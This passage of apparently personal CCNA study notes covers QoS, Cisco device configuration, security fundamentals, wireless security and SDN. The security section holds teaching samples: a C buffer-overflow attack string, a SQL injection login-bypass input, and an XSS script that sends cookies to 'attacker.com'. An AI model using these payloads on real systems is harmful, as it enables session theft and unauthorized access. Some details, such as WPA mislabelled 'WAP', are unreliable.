$\binom{3}{1} * \binom{4}{1} = 12$ AF behaviors in total (AF1x, AF2x, AF3x, AF4x). Each AF class guarantees a minimum level of forwarding resources and prioritization within the network. This assurance helps in maintaining the quality and predictability of service for critical traffic. Within each AF class, packets are marked with drop precedence values (e.g., Low Drop, Medium Drop, High Drop). This allows routers to make informed decisions during congestion, ensuring that higher-priority packets are forwarded ahead of lower-priority ones. AF behavior is implemented through packet marking using the Differentiated Services Code Point (DSCP) field in the IP header. Network devices use DSCP values to classify and prioritize packets into the appropriate AF class at the ingress (entry) points of the network.

Class Selector (CS) is a set of backward-compatible PHBs that maps the older IP Precedence (IPP) values to DSCP values within the DiffServ architecture. It is defined in RFC 2474 and RFC 2597. CS ensures backward compatibility with legacy networks that used IP Precedence (IPP) for QoS marking. CS maps IPP values (ranging from 0 to 7) directly to corresponding DSCP values. CS defines eight specific DSCP values (CS0 through CS7) corresponding to IPP values 0 through 7, respectively. This mapping allows devices that recognize only IPP to interpret and apply QoS policies based on DSCP values. CS can be used in conjunction with DiffServ-aware devices to maintain consistency and interoperability across networks transitioning from IPP-based QoS to DSCP-based QoS.

RFC 2474 defines the structure and use of the Differentiated Services (DiffServ) field in IPv4 and IPv6 headers. This field, also known as the DS field or the Type of Service (ToS) field, is used to carry Differentiated Services Code Point (DSCP) values. It specifies how these values are set and interpreted by network devices to provide differentiated treatment

(Per-Hop Behaviors, PHBs) to packets based on their traffic class and priority. The DSCP field within the DS field consists of 6 bits (bits 0-5). These bits are used to encode different levels of service and priority for IP packets. They define the forwarding behavior (PHB) that should be applied to each packet as it traverses network devices. RFC 2474 also introduces the Explicit Congestion Notification (ECN) functionality within the DS field. The last 2 bits (bits 6-7) of the DS field are reserved for ECN. These bits are used to signal congestion to endpoints, allowing them to respond by adjusting their transmission rates without relying solely on packet drops as an indicator of congestion.

RFC 3168 extends the ECN mechanism introduced in RFC 2481 to be used with IP version 4 (IPv4) and IPv6. ECN allows routers to notify endpoints of impending congestion without dropping packets. This enables more efficient use of network resources and improved Quality of Service (QoS) by reducing packet loss and latency during periods of network congestion. RFC 3168 defines two ECN-capable transport codepoints within the IP header's DS field (bits 6-7). These are used by endpoints to indicate their support for ECN and their willingness to respond to congestion indications from the network. The CE codepoint is used by routers to mark packets during congestion. It notifies endpoints that congestion has been encountered along the packet's path, prompting them to reduce their transmission rates.

- **Configure network devices for remote access using SSH**

  1. enable SSH 2. create user accounts 3. set parameters 4. access control (OPTIONAL)
  Router(config)# crypto key generate rsa
  Router(config)# username <username>priviledge 15 secret <pass>
  Router(config)# ip ssh version 2
  Router(config)# ip ssh time-out 120
  Router(config)# ip ssh authentication-retries 3

  verify by attempting a remote login
  Router# show run — include ssh
  Router# show ip ssh

- **Describe the capabilities and functions of TFTP/FTP in the network**

  FTP is a foundational protocol in networking used for transferring files between computers over a TCP-based network such as the internet. Its primary function is to facilitate efficient and reliable file transfer operations between a client (user's computer) and a server (remote computer). One of FTP's key capabilities is its support for various authentication mechanisms, allowing users to securely access files on remote servers using username-password pairs or even anonymously, depending on the server

configuration. This flexibility makes FTP suitable for both private and public file repositories. FTP operates in two primary modes: ASCII and binary. The ASCII mode ensures that text files are transferred with proper formatting, preserving line breaks and end-of-line characters according to the conventions of the sending and receiving systems. On the other hand, the binary mode transfers non-textual data, such as images or executables, without altering their content, ensuring bit-for-bit accuracy during transmission. Commands and responses form the core interaction model of FTP. Clients send commands like GET (retrieve a file), PUT (upload a file), and LIST (list directory contents) to servers, which respond with status codes indicating the success or failure of these operations. This command-response mechanism allows users to navigate directories, transfer files, and manage remote file systems efficiently. Security is a critical consideration in FTP implementations. Traditional FTP transmits data in plaintext, potentially exposing sensitive information to eavesdropping attacks. To address this, secure alternatives like FTPS (FTP Secure) and SFTP (SSH File Transfer Protocol) incorporate encryption and authentication mechanisms to protect data during transmission, ensuring confidentiality and integrity. In summary, FTP is a versatile protocol widely used for its robust file transfer capabilities, support for various authentication methods, and flexibility in handling different types of data. Its evolution into secure variants like FTPS and SFTP underscores its importance in modern networking environments where data security is paramount.

TFTP is a lightweight file transfer protocol designed for simplicity and efficiency, primarily used in scenarios where minimal overhead and rapid data transfer are more critical than advanced features. Unlike FTP, which operates over TCP, TFTP uses UDP (User Datagram Protocol), a connectionless transport protocol known for its speed but lacking in reliability mechanisms such as guaranteed delivery and error correction. This choice makes TFTP suitable for environments where speed is prioritized over data integrity, such as network bootstrapping and transferring small configuration files. TFTP's simplicity is evident in its minimalistic design. It lacks advanced features such as authentication and directory listing capabilities found in FTP. Instead, TFTP focuses solely on the essential functions of file read and write operations between a client and a server. The protocol's usage scenarios highlight its niche applications. For instance, TFTP is commonly employed by network devices during their boot process to download initial configuration files or firmware updates from a designated TFTP server. Its lightweight nature ensures that even devices with limited memory or processing capabilities can efficiently perform these critical tasks. Error handling in TFTP is basic compared to FTP. It relies on simple mechanisms like retries and timeouts to manage transmission errors. While this simplicity contributes to its efficiency, it also limits TFTP's suitability for applications requiring robust error recovery and data integrity assurance.

5 Security Fundamentals

- **Define key security concepts (threats, vulnerabilities, exploits, and mitigation techniques)**

  Threats refer to potential dangers or malicious events that can compromise the confidentiality, integrity, or availability of information or systems.
  Malware is software designed to disrupt, damage, or gain unauthorized access to computer systems.
  Phishing attempts to obtain sensitive information (such as passwords or credit card details) by masquerading as a trustworthy entity in electronic communications.
  DoS are attacks that aim to make a machine or network resource unavailable to its intended users by overwhelming it with a flood of illegitimate requests.
  Insider threats are risks posed by individuals within an organization who have authorized access to systems, but misuse that access for malicious purposes.
  Social engineering encompasses various techniques used to manipulate individuals into divulging confidential information or performing actions that compromise security. Phishing is a fraudulent attempt to obtain sensitive information such as usernames, passwords, and credit card details by disguising as a trustworthy entity in electronic communications (typically email). Phishing emails often contain links to fake websites or direct users to enter their personal information on a fraudulent page. Spear phishing is a targeted form of phishing where attackers customize their emails to target specific individuals or organizations. The attacker gathers personal information about the target (e.g., from social media) to make the phishing attempt more convincing and increase the chances of success. Whaling is a specific type of spear phishing that targets high-profile individuals such as executives (referred to metaphorically as "whales" due to their importance). Attackers aim to trick these individuals into divulging sensitive information or performing actions that can lead to financial loss or compromise of organizational security. Vishing (voice phishing) uses phone calls to deceive individuals into providing personal information or taking actions like transferring money. The attacker may impersonate a legitimate authority figure or service provider to gain the victim's trust. Smishing (SMS phishing) involves sending fraudulent text messages (SMS) to deceive individuals into divulging personal information or clicking on malicious links. Similar to phishing, smishing exploits the immediacy and trust associated with text messages. Pharming involves redirecting internet traffic from legitimate websites to fraudulent ones without the user's knowledge. Attackers achieve this by compromising DNS (Domain Name System) servers or using malware. Users are tricked into visiting fake websites where they may unknowingly enter sensitive information. Watering hole attacks target users by compromising websites that the targeted in-

dividuals are likely to visit. Attackers infect these websites with malware to exploit vulnerabilities in users' browsers or devices, gaining access to their systems or stealing sensitive information. In summary, all these techniques involve manipulating human behavior (trust, curiosity, urgency) to trick individuals into divulging confidential information, clicking on malicious links, or taking actions that compromise security. Social engineering exploits psychological tendencies rather than technical vulnerabilities to achieve their objectives, making awareness and education crucial defenses against such attacks.

Vulnerabilities are weaknesses or flaws in a system's design, implementation, or configuration that can be exploited by threats to gain unauthorized access or cause harm. Examples of vulns include: errors in code that can be exploited to gain unauthorized access or cause unintended behaviors, improperly configured systems that leave them open to exploitation or unauthorized access, failure to apply patches or updates can leave systems vulnerable to known exploits and attacks, use of weak passwords or inadequate authentication protocols that can be exploited to gain unauthorized access, failure to encrypt sensitive data in transit or at rest can expose it to interception or theft.

Exploits are techniques or methods used by attackers to take advantage of vulnerabilities and compromise a system or gain unauthorized access.
The buffer overflow is a type of software vulnerability where an application or system process attempts to store more data in a buffer (temporary storage area) than it was intended to hold. This can cause the extra data to overwrite adjacent memory locations, leading to unpredictable behavior or even allowing an attacker to execute arbitrary code. #include <string.h> void vulnerableFunction(char *input) char buffer[10]; strcpy(buffer, input);
int main() char attackString[30] = "AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde"; vulnerableFunction(attackString); return 0;
In C, there are no bounds checking mechanisms built into arrays. Therefore, copying more characters than 'buffer' can hold will overwrite adjacent memory locations, potentially corrupting data or even altering the program's execution flow.
In computer systems, memory is organized into bytes, each represented by two hexadecimal digits. \xef\xbe\xad\xde is a sequence of four bytes, each represented by two hexadecimal digits. When 'vulnerableFunction' is called, a stack frame is created in memory. This stack frame includes: local variables, function parameters, and a return address. If 'input' is longer than the size allocated for 'buffer', 'strcpy' will write beyond the boundaries of 'buffer'. When 'strcopy' writes beyond 'buffer', it can overwrite adjacent memory locations on the stack. The exact location of the return address on the stack relative to 'buffer' depends on teh compiler, function parameters, and other factors. If '\xef\xbe\xad\xde' is chosen because it represents a specific value in memory that an attack can use to

manipulate the program's control flow. If '\xef\xbe\xad\xde' overwrites the return address, the program might attempt to return to the address '\deadbeef' due to little-endian architecture. Then shell code could be placed at the address '\xdeadbeef'. effectively gaining control of the program's execution. In little-endian systesms, multi-byte values are stored with the least significant byte first. There is also heap-based buffer overflows that occur in dynamically allocated memory (heap), often involving more complex exploitation techniques. To prevent stack overflow vuls and related attacks validate the buffer size, use secure functions that perform bounds checking, use compiler features that detect and prevent buffer overflows by checking if the stack has been corrupted before allowing a return.
SQL injection is a technique where malicious SQL statements are inserted into input fields (e.g., login forms, search boxes) of a web application, exploiting vulnerabilities in the application's handling of user-supplied data. This can allow attackers to manipulate databases, retrieve sensitive information, or execute commands on the database server.// Consider a simple login form where the SQL query is construced using user input:
SELECT * FROM users WHERE username = 'input_username' AND password = 'input_password'
If input is say ' ' OR '1'1='1' – ' the SQL query would become
SELECT * FROM users WHERE username = '' OR '1'='1'–' AND password = ''
causing the query to return all rows from the 'users' table, bypassing authentication
MitM attacks involve intercepting communication between two parties (e.g., client and server) to eavesdrop on or manipulate the data being transmitted. Attackers can position themselves between the communicating parties and intercept, modify, or block messages without either party knowing. In a public Wi-Fi scenario, an attacker sets up a rogue access point with a name similar to a legitimate one. Users unknowingly connect to the rogue access point, allowing the attacker to intercept and manipulate their traffic.
XSS attacks inject malicious scripts (usually JavaScript) into web pages viewed by other users. These scripts can execute in the context of the victim's browser, allowing the attacker to steal cookies, session tokens, or other sensitive information, and perform actions on behalf of the victim.
<script>var img = new Image(); img.src = 'http://attacker.com/steal.php?cookie=' + encodeURIComponent(document.cookie); </script>
this injects a script that sends cookie details to a controlled domain
Brute force attacks involve systematically trying all possible combinations of passwords or encryption keys until the correct one is found. They are typically used when other attack vectors (such as guessing) are not feasible due to strong security measures.
DoS attacks aim to make a machine or network resource unavailable to its intended users by overwhelming it with a flood of illegitimate requests.

DDoS attacks involve multiple compromised systems attacking a single target simultaneously, amplifying the impact.
Session hijacking involves stealing a user's session token or session ID to impersonate the user and gain unauthorized access to a system or service.

Mitigation techniques are strategies and measures implemented to reduce the risk of threats exploiting vulnerabilities.
Regularly applying updates and patches to software and systems to fix known vulnerabilities.
Implementing strict access control mechanisms to ensure only authorized users and devices can access resources.
Encrypting sensitive data both in transit and at rest to protect it from unauthorized access.
Deploying firewalls to filter incoming and outgoing network traffic, and IDS/IPS to detect and block suspicious activities.
Training users to recognize phishing attempts, social engineering tactics, and other security threats.
Following secure coding guidelines and conducting code reviews to minimize vulnerabilities in software development.
Developing and implementing plans and procedures to respond effectively to security incidents and minimize their impact.

- **Describe security program elements (user awareness, training, and physical access control)**

  User awareness involves educating employees and users about cybersecurity risks, best practices, and organizational policies. The goal is to make users conscious of potential threats and their role in maintaining security.
  Security Policies and Guidelines: Clearly defined policies regarding password management, data handling, acceptable use of systems, etc.
  Awareness Campaingns: Regular communications (emails, newsletters, posters) to inform users about current threats, phishing attempts, and security updates.
  TrainingPrograms: Workshops, seminars, or online courses to educate users on recognizing social engineering attacks, secure browsing practices, and incident reporting procedures.
  Mitigating Human Errors: Many security breaches result from human mistakes (like clicking on phishing links). Awareness helps users understand risks and adopt secure behaviors.
  Compliance and Accountability: Awareness ensures users comply with security policies and understand their accountability in protecting sensitive information.
  Culture of Security: Fosters a culture where security is everyone's responsibility, enhancing overall organizational resilience against cyber threats.

  Training programs provide users and IT staff with specific skills and knowledge necessary to implement and maintain effective cybersecurity measures.

Technical Skills: Training on using security tools (firewalls, antivirus software, encryption) and understanding network security principles.
Incident Response: Procedures for identifying, reporting, and responding to security incidents promptly and effectively.
Secure Development Practices: For developers, training in secure coding practices to mitigate vulnerabilities like buffer overflows, SQL injections, etc.
Skill Development: Equips employees with skills to handle emerging threats and protect against evolving attack methods.
Effective Response: Improves incident response capabilities, minimizing damage and downtime in case of a breach.
Continuous Improvment: Ongoing training ensures knowledge remains current amid evolving cybersecurity landscape and technology advancements.

Physical access control limits access to physical premises, equipment, and sensitive areas within an organization.
Access Control Systems: Includes mechanisms such as key cards, biometric scanners, and PIN codes to restrict entry to authorized personnel only.
Surveillance: CCTV cameras and monitoring to track physical access and detect unauthorized entry attempts.
Security Policies: Define access levels, visitor protocols, and procedures for managing access rights (e.g., granting temporary access for contractors).
Preventing Unauthorized Access: Protects physical assets (servers, data centers) from theft, tampering, or sabotage.
Compliance: Ensures adherence to regulatory requirements (e.g., HIPAA, GDPR) regarding physical security and access controls.
Integration with IT Security: Physical security measures complement IT security by safeguarding devices and infrastructure from physical threats that could compromise data or systems.

- **Configure and verify device access control using local passwords**

  configure↓ Router(config)# service password-encryption

  Router(config)# enable secret <password>

  Router(config)# line console 0
  Router(config-line)# password <password>
  Router(config-line)# login

  Router(config)# line vty 0 15
  Router(config-line)# password <password>
  Router(config-line)# login

  verify↓ Router# show run — include enable secret Router# show run — include line console 0 Router# show run — include line vty 0 15

- **Describe security password policies elements, such as management, complexity, and password alternatives (multifactor authentication, certificates, and biometrics)**

  Effective password management is crucial for ensuring the security of user accounts and systems within an organization. It encompasses several key practices, starting with the creation of strong passwords. Organizations typically establish guidelines that dictate the minimum length, complexity (including requirements for uppercase letters, lowercase letters, numbers, and special characters), and restrictions on common words or easily guessable sequences. Passwords should be stored securely, often using encryption methods to protect them from unauthorized access in case of a data breach. Regular password expiration policies are also implemented to reduce the risk of compromised credentials over time, requiring users to change passwords at specified intervals. Secure procedures for password reset and recovery, such as identity verification through challenge questions or multi-step authentication, further enhance the overall security posture by ensuring that only authorized users can gain access to their accounts.

  Password complexity requirements are designed to strengthen the resilience of passwords against unauthorized access attempts. This involves setting minimum standards for password length and complexity, typically requiring passwords to be at least 8 to 12 characters long and include a mix of uppercase letters, lowercase letters, numbers, and special characters. By enforcing such standards, organizations mitigate the risk posed by brute-force attacks and automated password cracking tools that exploit weak passwords. Additionally, policies may include checks to prevent the use of easily guessable passwords based on dictionary words, common phrases, or predictable sequences. These measures not only enhance the security of user accounts but also align with regulatory requirements and industry best practices aimed at safeguarding sensitive information and protecting against data breaches.

  As organizations recognize the limitations of passwords in providing robust security, they increasingly adopt alternative authentication methods to complement or replace traditional password-based systems. Multifactor authentication (MFA) stands out as a prominent alternative, requiring users to provide multiple credentials from different categories (something they know, have, or are) to verify their identity. This approach significantly enhances security by adding layers of protection beyond passwords alone, reducing the likelihood of unauthorized access even if one factor is compromised. Certificates provide another alternative, leveraging public key cryptography to authenticate the identity of users or devices in secure communication channels. Biometric authentication, using unique physical or behavioral characteristics like fingerprints or facial recognition, offers a user-friendly and secure method that mitigates the risks associated with

password theft or phishing attacks. These alternatives not only bolster security but also improve user convenience by offering flexible and reliable authentication methods tailored to the organization's risk tolerance and operational needs.

Successful implementation of robust password policies and alternatives requires a holistic approach that integrates technological solutions with user education and compliance oversight. Organizations should educate users on best practices for creating and managing passwords, as well as guidelines for utilizing alternative authentication methods securely. Technological measures such as deploying MFA solutions, implementing certificate management systems, and integrating biometric authentication into access control systems should be aligned with organizational policies and risk management strategies. Regular reviews and updates to password policies and alternative authentication mechanisms are essential to adapt to evolving security threats and technological advancements. By prioritizing comprehensive security measures and continuous improvement, organizations can effectively safeguard sensitive information, protect against unauthorized access, and maintain compliance with regulatory requirements.

- **Describe IPsec remote access and site-to-site VPNs**

  IPsec (Internet Protocol Security) is a suite of protocols used to secure internet protocol (IP) communications by authenticating and encrypting each IP packet of a communication session. It supports two main types of VPNs (Virtual Private Networks): remote access VPNs and site-to-site VPNs. Remote access VPNs allows individual users to securely connect to a private network from a remote location, typically over the internet. It enables remote workers, telecommuters, or mobile users to access resources on a corporate network as if they were physically present in the office. Remote access VPNs require client software installed on the user's device (laptop, smartphone) to establish the VPN connection. A VPN gateway, often a firewall or dedicated VPN concentrator, resides on the corporate network and handles VPN connections from remote clients. Users authenticate themselves to the VPN gateway using credentials (username/password, digital certificates, tokens). Once authenticated, the client and gateway negotiate and establish an IPsec tunnel. All traffic between the client and the gateway is encrypted using IPsec protocols (like ESP - Encapsulating Security Payload) to ensure confidentiality. After establishing the VPN tunnel, access to specific resources (servers, applications) is controlled based on user roles and permissions defined in the corporate network's access policies. A site-to-site VPN connects two or more geographically dispersed networks (e.g., branch offices, data centers) securely over the internet or other public networks. It establishes a virtual network between the sites, allowing seamless communication and sharing of resources between them. Each site has a VPN gateway (often

a firewall or router) responsible for encrypting and decrypting traffic between sites. VPN gateways authenticate each other to establish trust and secure communication. Multiple IPsec tunnels are created, one for each pair of connecting sites. After tunnel establishment, routing protocols or static routes are used to direct traffic between sites securely over the encrypted tunnels. IPsec protocols (ESP, AH - Authentication Header) are used to encrypt and protect data traffic between sites.

- **Configure and verify access control lists**

  Standard ACLs match source IP addresses only.
  R1(config)# access-list 1 deny [host] 192.168.1.233 [log]

  Extended ACLs have more matching parameters.
  R1(config)# access-list 101 permit tcp 172.16.1.0 0.0.0.255 172.16.3.0 0.0.0.255 eq 21

  Named ACLs have a subconfiguration mode with sequence numbers
  Router(config)# ip access-list extended barney
  Router(config-ext-nacl)# permit tcp host 10.1.1.2 eq www any
  Router(config-ext-nacl)# interface serial1
  Router(config-if)# ip access-gorup barney out

  verify↓
  Place standard ACLs as close to the destination as possible.
  Place extended ACLs as close to the source as possible.
  Disable an ACL before altering the ACEs.

  some arithmetic ↓
  subnet = host address &(binary and) mask
  wildcard mask = limited broadcast address - subnet mask
  subnet(highend) = subnet(lowend) + wildcard
  0d → 0b ↓
  1. continue to divide by 2
  2. each division set aside the remainder
  3. once the quotient is 0, merge the remainders in reverse order
  0x → 0d ↓
  1. separate the digits and convert them to decimal digits
  2. multiply each digit by the respective power of 16
  3. add them
  0d → 0x ↓
  1. identify the largest power of 16 less than the decimal number
  2. continue to divide the remainders by the largest power of 16 setting the quotient aside
  3. merge quotients and convert the digits individually

- **Configure and verify Layer 2 security features (DHCP snooping, dynamic ARP inspection, and port security)**

DHCP snooping is used to prevent spurious DHCP servers
Switch(config)# ip dhcp snooping
Switch(config)# ip dhcp snooping vlan <vlan_id>
Switch(config-if)# ip dhcp snooping trust verify↓
Switch# show ip dhcp snooping
Switch# show ip dhcp snooping binding

Dynamic ARP inspection is used prevent ARP spoofing/poisoning
Switch(config)# ip arp inspection
Switch(config)# ip arp inspection vlan <vlan_id>
Switch(config-if)# ip arp inspection trust verify↓ Switch# show ip arp inspection
Switch# show ip arp inspection statistics

Port security is used to keep unauthorized devices from accessing the network.
Switch(config-if)# switchport port-security
Switch(config-if)# switchport port-security maximum <value>
Switch(config-if)# switchport port-security violation shutdown — restrict — protect
verify↓ Switch# show port-security interface <interface>
Switch# show port-security [address]

- **Compare authentication, authorization, and accounting concepts**

  Authentication precedes authorization and accounting. There are many different methods for authentication which typically involve presenting credentials like: usernames\passwords, digital certificates, biometric data, tokens, smart cards, etc. Users must authenticate first before access rights are determined or activities are logged. Authorization follows authentication to decide what actions or resources are permitted. Accounting occus concurrently with access and can continue after actions are completed to log resource usage.

- **Describe wireless security protocols (WPA, WPA2, and WPA3)**

  The Wi-Fi Alliance is a global nonprofit organization that promotes and certifies Wi-Fi technology standards to ensure interoperability and security across devices and networks. Their mission is to drive the adoption of Wi-Fi technologies and standards globally. It aims to enhance the user experience by ensuring seamless connectivity, interoperability, and security amoung Wi-Fi devices. They develop and manage certification programs for Wi-Fi technologies. These certs validate that Wi-Fi products comply with industry standards, ensuring compatibility and reliability. The Wi-Fi Alliance collaborates with industry stakeholders, including technology vendors, service providers, and regulatory bodies, to develop and evolve Wi-Fi standards. It works closely with organizations such as the IEEE to contribute to the development of new Wi-Fi standards and technologies.

They develop and promote security protocols like WPA3 to protect Wi-Fi networks against evolving threats.

WEP was developed by the IEEE as part of the original 802.11 standard for wireless networks. It was intended to provide privacy and integrity for data transmitted over wireless networks, such as Wi-Fi.
WEP uses a symmetric key encryption system, where both the sender and receiver use the same key to encrypt and decrypt data. The key can be either 40 bits or 104 bits long. Before transmitting data, WEP encrypts it using the shared secret key. WEP uses the RC4 stream cipher for encryption, which generates a pseudorandom stream of bits based on the key and an initialization vector (IV). The IV is a 24-bit value that is combined with the secret key for each packet. This combination creates a unique encryption key for each packet, increasing security compared to using only the secret key. Encrypted data is transmitted over the wireless network. Each packet includes the encrypted payload and a plaintext checksum called the Integrity Check Value (ICV). Upon receiving a packet, the recipient uses the shared secret key and the IV to decrypt the data. The recipient also verifies the integrity of the packet by recalculating the ICV and comparing it to the received ICV.
Over time, WEP has been found to have significant security vulnerabilities. WEP keys were static and had to be manually configured on all devices, making it sumbersome to manage in large networks. The design flaws in WEP, such as weak initialization vector management and vulnerabilites in the RC4 cipher, led it its widespread abanodonment in favor of more secure protocols like WPA.

Wi-Fi Protected Access 2 (WAP) was developed because WEP had serious security flaws that made it vulnerable to attacks, such as key recovery and IV attacks. It aimed to provide stronger data protection and network access control for wireless networks.
TKIP dynamically generates a new encryption key for each packet transmitted, enhancing security compared to WEP. It also includes a 64-bit Message Integrity Check (MIC) to detect any alterations to packets during transmission. WPA supports several authentication methods through EAP, including EAP-TLS (Transport Layer Security), EAP-TTLS (Tunneled Transport Layer Security), and PEAP (Protected Extensible Authentication Protocol). WPA simplifies key management by using a Pairwise Master Key (PMK) derived from a passphrase entered by users. This PMK is then used to generate encryption keys dynamically during the session.

WAP2 further enhances security by replacing TKIP with the stronger AES, which is more resistant to cryptographic attacks.
AES (Advanced Encryption Standard) with CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol) is the standard encryption mechanism used in WPA2. AES is a symmetric key

encryption algorithm that operates on blocks of data. CCMP provides data confidentiality, integrity, and authentication using AES. WPA2 supports strong mutual authentication between clients (devices) and the network through the use of EAP methods. This ensures that both parties (client and network) authenticate each other securely before data transmission begins. WPA2 uses the 4-way handshake process to securely negotiate and establish fresh session keys between the client and the access point (AP). The Pairwise Transient Key (PTK) is generated during this handshake process, which is used to protect data transmitted between the client and the AP. WPA2 maintains backward compatibility with devices that support WPA, allowing for a smooth transition and support for legacy hardware.

WAP3 is gradually being adopted in new Wi-Fi devices and networks. As more devices and infrastructure support WPA3, it is expected to become the new standard for securing Wi-Fi networks, offering improved security and ease of use compared to previous versions like WPA2. WPA3 uses the Simultaneous Authentication of Equals (SAE) handshake protocol for key exchange between the client device and the access point (AP). SAE is a secure key exchange protocol based on the mathematical principle of the elliptic curve Diffie-Hellman (ECDH), providing stronger protection against offline dictionary attacks compared to WPA2's PSK method. WPA3 continues to use AES encryption, similar to WPA2, but enhances security by ensuring that even if an attacker captures encrypted data, it cannot be easily decrypted without the session key. Each device connected to a WPA3 network receives its own unique encryption key, providing additional protection against attacks that target the shared network key. Wi-Fi Easy Connect simplifies the process of securely adding devices to a network without needing to manually enter passwords. It supports QR code scanning, NFC tapping, or other methods depending on the device capabilities.

Extensible Authentication Protocol (EAP) and 802.1x are related terms often used together in the context of network security, especially for wired and wireless networks. 802.1x is a protocol that specifies how to enforce port-based access control and manage the state of networks ports based on the authentication status. In PNAC when a client device (supplicant) is connecting to a network port, the network access point (authenticator) keeps the port in a restricted state until the device successfully completes an authentication process. The supplicant will send credentials to the authenticator, and the authenticator will forward them to an AS. Upon successful verification, the authentication server informas the authenticator, which then allows the port to transition from a restricted state to an authorized state, granting network access to the supplicant. EAP is a framework that defines the structure and mechanisms for transporting various authentication methods securely over network links. EAP allows different types of creds and authentication mechs (digital certs,

usernames/passwords, token cards, etc.) to be used within its framework. EAP is used within 802.1x to carry out the authentication process between the suplicant and the authentication server via the authenticator.

Lightweight Extensible Authentication Protocol (LEAP) was developed by Cisco Systems. It was primarily used in older Cisco wireless networking equipment but has largely been deprecated due to security vulnerabilities. It uses a username/password-based authentication mechanism. The client (supplicant) sends its username and password to the Access Point (AP). The AP forwards these credentials to a RADIUS server for verification. If the credentials are correct, the RADIUS server sends an acceptance message back to the AP, granting access to the client. LEAP has known vulnerabilities, such as susceptibility to offline dictionary attacks due to the way it encrypts and stores passwords. Due to these security weaknesses, Cisco has recommended migrating from LEAP to more secure EAP methods like EAP-TLS, PEAP, or EAP-TTLS.

EAP-TLS uses mutual authentication via digital certificates to secure the authentication process between the client and the AS. A client will initiate by presenting its digital cert to the network AP (authenticator). The authenticator verifies the client's certificate with a CA. The server also verifies the client's certificate and typically validates the clients's identity against a user database. Both the client and server authenticate each other using their respective certificates, ensuring a high level of security. Once mutual authentication is completed within the TLS tunnel, the actual authentication credentials (typically stored in the client's digital certificate) are exchanged securely.

Protected Extensible Authentication Protocol (PEAP) encapsulates EAP within a TLS tunnel (similar to HTTPS). It creates a secure tunnel between the client and the authentication server. Initially, the server presents its digital certificate to the client to establish trust. Then, the client and server perform a TLS handshake to create a secure tunnel. Within this tunnel, EAP exchanges occur to authenticate the client. PEAP provides strong authentication by leveraging the security of TLS. It protects against attacks like man-in-the-middle (MITM) and provides mutual authentication between the client and server.

EAP-TTLS also uses TLS to create a secure tunnel between the client and authentication server. Unlike PEAP, EAP-TTLS supports various inner authentication methods (like MS-CHAP, EAP-MD5, etc.) within the TLS tunnel. This flexibility allows for a wider range of authentication mechanisms without needing to establish separate tunnels for each method. EAP-TTLS ensures the confidentiality and integrity of authentication data through TLS. It also supports server-side certificate validation, enhancing security.

EAP-FAST (Flexible Authentication via Secure Tunneling) is designed for fast re-authentication and is built upon a PAC (Protected Access Credential) mechanism. It starts with a TLS tunnel setup similar to PEAP. The client and server establish mutual authentication and derive a TLS session key. The PAC is used to securely store and retrieve credentials for fast re-authentication in subsequent sessions. EAP-FAST focuses on reducing authentication latency and improving user experience while maintaining strong security through TLS and PACs.

EAP-SIM (Subscriber Identity Module) or EAP-AKA (Authentication and Key Agreement) is primarily used in GSM and UMTS mobile networks, where it leverages the SIM card's capabilities for authentication. The SIM card, which securely stores subscriber identity information, is used to authenticate the user. EAP-SIM enables mutual authentication between the client (mobile device) and the network using keys stored on the SIM. By utilizing the SIM card, EAP-SIM provides strong authentication and protects against various network attacks.

TLS operates at the Transport Layer (Layer 4) of the OSI model and provides secure communication over a computer network, typically the Internet. It ensures privacy, integrity, and authentication of data transmitted between clients and servers. The TLS handshake begins when a client (e.g., web browser) sends a "ClientHello" message to the server. This message includes: supported TLS versions, a list of cipher suites (encryption algorithms) the client supports, an a random number generated by the client, which will be used later in the key exchange process. Upon receiving the ClientHello message, the server responds with a "ServerHello" message, which includes: selected TLS version, selected cipher suite from the slient's list that both the server and client support, and a random number generated by the server for the key exchange proces. The server sends its digital certificate to the client. This certificate includes the server's public key and is typically issued by a trusted CA. In some cases (depending on the cipher suite), the server may send additional information to assist in key exchange or provide parameters for Diffie-Hellman key exchange. The client generates a pre-master secret (a random symmetric key) and encrypts it with the server's public key (obtained from the server's certificate). This encrypted pre-master secret is sent to the server. Both client and server independently derive session keys from the pre-master secret and the random numbers exchanged during the handshake. These session keys are symmetric keys used for encryption and decryption of data during the TLS session. The server sends a "Finished" message, encrypted with the session keys, to confirm that the handshake is complete from its side. The client also sends a "Finished" message, encrypted with the session keys, to confirm the handshake completion from its side. Once the handshake is completed and both parties have verified each other's identities (if mutual authentication is enabled), a secure TLS tunnel is established. All

subsequent data transmitted between the client and server is encrypted using the negotiated session keys and the selected cipher suite.

- **Configure and verify WLAN within the GUI using WPA2 PSK**

  1. Access the GUI

  2. Login

  3. Navigate to WLAN Settings

  4. Create a New WLAN Profile

  5. Configure WLAN Settings: SSID, security settings, pre-shared key, encryption, etc.

  6. Apply and Save Changes

  7. Verify WLAN Configuration

  8. Test Connectivity

6 Automation and Programmability

- **Explain how automation impacts network management**

  Automation allows a network to be changed all at once. This minimizes the amount of times humans have to interface with the network. This provides consistency which will decrease the amount of misconfigured devices and thus improve security. Templates and policies can be implemented up-front to comply with organizational standards and industry best practices. Automated tools can be implemented for monitoring and maintenance these tools continuously track network performance metrics and detect anomalies by integrating ML. ML can also be used to imrpove the turn-around time once certain metrics are observed. This saves time, money, and improves the QoE for users of the network. Automation simplifies audit processes by generating comprehensive reports on network configurations, access controls, and compliance with regulatory requirements, facilitating easier compliance management. Since automation reduces the need for manual, repetitive task network administration time can be properly allocated to the most important strategic initiatives.

- **Compare traditional networks with controller-based networking**

  In a traditional network you have a hierarchical structure, control is distributed evenly amoungst the network devices and each devices operates independently and makes its own desisions. Management is done manually with little automation. These networks do not scale well and optimizations are managed via static routing and other manual adjustments. These

traditional networks are much less flexible when new inovations become popular because there are many constraints that are not in alignment. Fault tolerance is typically achived via hardware redundacy and protocols which can be costly the more you scale. In opposition, SDN architectures are flattened and the control plane functions are decoupled from the data plane functions and placed in a central location. Management is done via the controller and network devices and their data can be read/written automatically via APIs. This type of network architeture scales better and is more fault tolerant because you can dynamically allocate resources and adjust network behavior through policies.

- **Describe controller-based, software defined architecture (overlay, underlay, and fabric)**

